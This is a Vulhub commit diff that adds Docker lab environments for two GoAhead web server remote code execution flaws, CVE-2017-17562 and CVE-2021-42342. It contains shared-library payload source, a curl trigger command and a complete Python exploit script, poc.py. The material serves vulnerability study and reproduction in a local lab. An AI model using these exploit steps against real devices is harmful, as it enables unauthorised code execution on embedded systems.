first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
goahead/CVE-2017-17562/1.png
Normal file
BIN
goahead/CVE-2017-17562/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 42 KiB |
BIN
goahead/CVE-2017-17562/2.png
Normal file
BIN
goahead/CVE-2017-17562/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 40 KiB |
60
goahead/CVE-2017-17562/README.md
Normal file
60
goahead/CVE-2017-17562/README.md
Normal file
@@ -0,0 +1,60 @@
|
||||
# GoAhead Web Server Environment Variables Injection and `LD_PRELOAD` Remote Code Execution (CVE-2017-17562)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Embedthis GoAhead is the world's most popular, tiny embedded web server, which is deployed in hundreds of millions of devices and is ideal for the smallest of embedded devices.
|
||||
|
||||
GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked. This is a result of initializing the environment of forked CGI scripts using untrusted HTTP request parameters in the cgiHandler function in `cgi.c`. When combined with the glibc dynamic linker, this behaviour can be abused for remote code execution using special parameter names such as `LD_PRELOAD`. An attacker can POST their shared object payload in the body of the request, and reference it using /proc/self/fd/0.
|
||||
|
||||
References:
|
||||
|
||||
- https://www.elttam.com.au/blog/goahead/
|
||||
- https://www.exploit-db.com/exploits/43360
|
||||
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/goahead_ldpreload.rb
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Execute following commands to start a GoAhead 3.6.4:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
Then, you can see the welcome page at `http://your-ip:8080`, CGI scripts is available at `http://your-ip:8080/cgi-bin/index`.
|
||||
|
||||
## Exploit
|
||||
|
||||
First of all, compile this hijack code to a dynamic shared library:
|
||||
|
||||
```C
|
||||
#include <unistd.h>
|
||||
|
||||
static void before_main(void) __attribute__((constructor));
|
||||
|
||||
static void before_main(void)
|
||||
{
|
||||
write(1, "Hello: World!\n", 14);
|
||||
}
|
||||
```
|
||||
|
||||
> Please notice that, since GoAhead is a compact embedded webserver running on almost any possible IoT device, the format of dynamic shared library is always depending on the target server architecture. In the real world, compiling exploits is not as easy as this manual suggests, although Vulhub could show you a simplest example.
|
||||
|
||||
Compile on a x86/64 environment:
|
||||
|
||||
```
|
||||
gcc -shared -fPIC ./payload.c -o payload.so
|
||||
```
|
||||
|
||||
Use curl to trigger the attack:
|
||||
|
||||
```
|
||||
curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i
|
||||
```
|
||||
|
||||
The response header `Hello: world!` is printed to indicate that the code has been executed:
|
||||
|
||||

|
||||
|
||||
A reverse shell is got:
|
||||
|
||||

|
56
goahead/CVE-2017-17562/README.zh-cn.md
Normal file
56
goahead/CVE-2017-17562/README.zh-cn.md
Normal file
@@ -0,0 +1,56 @@
|
||||
# GoAhead 远程命令执行漏洞(CVE-2017-17562)
|
||||
|
||||
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server,多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序,这个漏洞就出现在运行CGI程序的时候。
|
||||
|
||||
GoAhead在接收到请求后,将会从URL参数中取出键和值注册进CGI程序的环境变量,且只过滤了`REMOTE_HOST`和`HTTP_AUTHORIZATION`。我们能够控制环境变量,就有很多攻击方式。比如在Linux中,`LD_`开头的环境变量和动态链接库有关,如`LD_PRELOAD`中指定的动态链接库,将会被自动加载;`LD_LIBRARY_PATH`指定的路径,程序会去其中寻找动态链接库。
|
||||
|
||||
我们可以指定`LD_PRELOAD=/proc/self/fd/0`,因为`/proc/self/fd/0`是标准输入,而在CGI程序中,POST数据流即为标准输入流。我们编译一个动态链接库,将其放在POST Body中,发送给`http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0`,CGI就会加载我们发送的动态链接库,造成远程命令执行漏洞。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://www.elttam.com.au/blog/goahead/
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
启动漏洞环境:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
启动完成后,访问`http://your-ip:8080/`即可看到欢迎页面。访问`http://your-ip:8080/cgi-bin/index`即可查看到Hello页面,即为CGI执行的结果。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
我们首先需要编译一个动态链接库,而且需要和目标架构相同。所以在实战中,如果对方是一个智能设备,你可能需要交叉编译。因为Vulhub运行在`Linux x86_64`的机器中,所以我们直接用Linux PC编译即可。动态链接库源码:
|
||||
|
||||
```C
|
||||
#include <unistd.h>
|
||||
|
||||
static void before_main(void) __attribute__((constructor));
|
||||
|
||||
static void before_main(void)
|
||||
{
|
||||
write(1, "Hello: World!\n", 14);
|
||||
}
|
||||
```
|
||||
|
||||
这样,`before_main`函数将在程序执行前被调用。编译以上代码:
|
||||
|
||||
```
|
||||
gcc -shared -fPIC ./payload.c -o payload.so
|
||||
```
|
||||
|
||||
将payload.so作为post body发送:
|
||||
|
||||
```
|
||||
curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i
|
||||
```
|
||||
|
||||
可见,`Hello: world!`已被成功输出,说明我们的动态链接库中的代码已被执行:
|
||||
|
||||

|
||||
|
||||
编译一个反弹shell的代码,成功反弹shell:
|
||||
|
||||

|
8
goahead/CVE-2017-17562/docker-compose.yml
Normal file
8
goahead/CVE-2017-17562/docker-compose.yml
Normal file
@@ -0,0 +1,8 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/goahead:3.6.4
|
||||
ports:
|
||||
- "8080:80"
|
||||
volumes:
|
||||
- ./index:/var/www/goahead/cgi-bin/index
|
4
goahead/CVE-2017-17562/index
Normal file
4
goahead/CVE-2017-17562/index
Normal file
@@ -0,0 +1,4 @@
|
||||
#!/usr/bin/perl
|
||||
|
||||
print "Content-Type: text/html\n\n";
|
||||
print "<title>cgi title</title><h1>hello world!</h1>";
|
BIN
goahead/CVE-2021-42342/1.png
Normal file
BIN
goahead/CVE-2021-42342/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 91 KiB |
59
goahead/CVE-2021-42342/README.md
Normal file
59
goahead/CVE-2021-42342/README.md
Normal file
@@ -0,0 +1,59 @@
|
||||
# GoAhead Web Server Environment Variables Injection and `LD_PRELOAD` Remote Code Execution (CVE-2021-42342)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
An issue was discovered in GoAhead 4.x and 5.x before 5.1.5. In the file upload filter, user form variables can be passed to CGI scripts without being prefixed with the CGI prefix. This permits tunneling untrusted environment variables into vulnerable CGI scripts.
|
||||
|
||||
Attacker can use this feature to upload their shared object payload in the multipart form and hijack the `LD_PRELOAD` environment variable to execute arbitrary code.
|
||||
|
||||
This vulnerability is the patch bypass of the [CVE-2017-17562](https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562).
|
||||
|
||||
References:
|
||||
|
||||
- https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
|
||||
- https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/
|
||||
- https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Execute following commands to start a GoAhead 5.1.4:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
Then, you can see the welcome page at `http://your-ip:8080`, CGI scripts is available at `http://your-ip:8080/cgi-bin/index`.
|
||||
|
||||
## Exploit
|
||||
|
||||
First of all, compile this hijack code to a dynamic shared library:
|
||||
|
||||
```C
|
||||
#include <unistd.h>
|
||||
|
||||
static void before_main(void) __attribute__((constructor));
|
||||
|
||||
static void before_main(void)
|
||||
{
|
||||
write(1, "Hello: World\r\n\r\n", 16);
|
||||
write(1, "Hacked\n", 7);
|
||||
}
|
||||
```
|
||||
|
||||
> Please notice that, since GoAhead is a compact embedded webserver running on almost any possible IoT device, the format of dynamic shared library is always depending on the target server architecture. In the real world, compiling exploits is not as easy as this manual suggests, although Vulhub could show you a simplest example.
|
||||
|
||||
Compile on a x86/64 environment:
|
||||
|
||||
```
|
||||
gcc -s -shared -fPIC ./payload.c -o payload.so
|
||||
```
|
||||
|
||||
Then, we are using [this script](poc.py) to reproduce the vulnerability.
|
||||
|
||||
```
|
||||
python poc.py http://target-ip:8080/cgi-bin/index /path/to/payload.so
|
||||
```
|
||||
|
||||
Hijack is successful:
|
||||
|
||||

|
53
goahead/CVE-2021-42342/README.zh-cn.md
Normal file
53
goahead/CVE-2021-42342/README.zh-cn.md
Normal file
@@ -0,0 +1,53 @@
|
||||
# GoAhead Server 环境变量注入导致远程代码执行漏洞(CVE-2021-42342)
|
||||
|
||||
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server,多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序。
|
||||
|
||||
这个漏洞是[CVE-2017-17562](https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562)漏洞补丁的绕过,攻击者可以利用该补丁没有考虑到的multipart表单控制目标服务器的环境变量,进而劫持`LD_PRELOAD`来执行任意代码。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
|
||||
- https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/
|
||||
- https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动GoAhead 5.1.4:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
启动完成后,访问`http://your-ip:8080/`即可看到欢迎页面。访问`http://your-ip:8080/cgi-bin/index`即可查看到Hello页面,即为CGI执行的结果。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
我们首先需要编译一个动态链接库,而且需要和目标架构相同。所以在实战中,如果对方是一个智能设备,你可能需要交叉编译。因为Vulhub运行在`Linux x86_64`的机器中,所以我们直接用Linux PC编译即可。动态链接库源码:
|
||||
|
||||
```C
|
||||
#include <unistd.h>
|
||||
|
||||
static void before_main(void) __attribute__((constructor));
|
||||
|
||||
static void before_main(void)
|
||||
{
|
||||
write(1, "Hello: World\r\n\r\n", 16);
|
||||
write(1, "Hacked\n", 7);
|
||||
}
|
||||
```
|
||||
|
||||
这样,`before_main`函数将在程序执行前被调用。编译以上代码:
|
||||
|
||||
```
|
||||
gcc -s -shared -fPIC ./payload.c -o payload.so
|
||||
```
|
||||
|
||||
然后,我们使用[这个脚本](poc.py)来发送恶意数据包,复现漏洞:
|
||||
|
||||
```
|
||||
python poc.py http://target-ip:8080/cgi-bin/index /path/to/payload.so
|
||||
```
|
||||
|
||||
可见,我们在动态链接库中编写的劫持代码已经被成功执行:
|
||||
|
||||

|
8
goahead/CVE-2021-42342/docker-compose.yml
Normal file
8
goahead/CVE-2021-42342/docker-compose.yml
Normal file
@@ -0,0 +1,8 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/goahead:5.1.4
|
||||
ports:
|
||||
- "8080:80"
|
||||
volumes:
|
||||
- ./index:/var/www/goahead/cgi-bin/index
|
4
goahead/CVE-2021-42342/index
Normal file
4
goahead/CVE-2021-42342/index
Normal file
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
|
||||
echo -ne "Content-Type: text/html\n\n";
|
||||
echo "<title>example</title><h1>Example</h1>";
|
71
goahead/CVE-2021-42342/poc.py
Normal file
71
goahead/CVE-2021-42342/poc.py
Normal file
@@ -0,0 +1,71 @@
|
||||
import sys
|
||||
import socket
|
||||
import ssl
|
||||
import random
|
||||
from urllib.parse import urlparse, ParseResult
|
||||
|
||||
PAYLOAD_MAX_LENGTH = 16384 - 200
|
||||
|
||||
|
||||
def exploit(client, parts: ParseResult, payload: bytes):
|
||||
path = '/' if not parts.path else parts.path
|
||||
boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
|
||||
padding = 'a' * 2000
|
||||
content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
|
||||
data = fr'''POST {path} HTTP/1.1
|
||||
Host: {parts.hostname}
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
|
||||
Connection: close
|
||||
Content-Type: multipart/form-data; boundary={boundary}
|
||||
Content-Length: {content_length}
|
||||
|
||||
--{boundary}
|
||||
Content-Disposition: form-data; name="LD_PRELOAD";
|
||||
|
||||
/proc/self/fd/7
|
||||
--{boundary}
|
||||
Content-Disposition: form-data; name="data"; filename="1.txt"
|
||||
Content-Type: text/plain
|
||||
|
||||
#payload#{padding}
|
||||
--{boundary}--
|
||||
'''.replace('\n', '\r\n')
|
||||
data = data.encode().replace(b'#payload#', payload)
|
||||
client.send(data)
|
||||
resp = client.recv(20480)
|
||||
print(resp.decode())
|
||||
|
||||
|
||||
def main():
|
||||
target = sys.argv[1]
|
||||
payload_filename = sys.argv[2]
|
||||
|
||||
with open(payload_filename, 'rb') as f:
|
||||
data = f.read()
|
||||
|
||||
if len(data) > PAYLOAD_MAX_LENGTH:
|
||||
raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)
|
||||
|
||||
parts = urlparse(target)
|
||||
port = parts.port
|
||||
if not parts.port:
|
||||
if parts.scheme == 'https':
|
||||
port = 443
|
||||
else:
|
||||
port = 80
|
||||
|
||||
context = ssl.create_default_context()
|
||||
with socket.create_connection((parts.hostname, port), timeout=8) as client:
|
||||
if parts.scheme == 'https':
|
||||
with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
|
||||
exploit(ssock, parts, data)
|
||||
|
||||
else:
|
||||
exploit(client, parts, data)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
Reference in New Issue
Block a user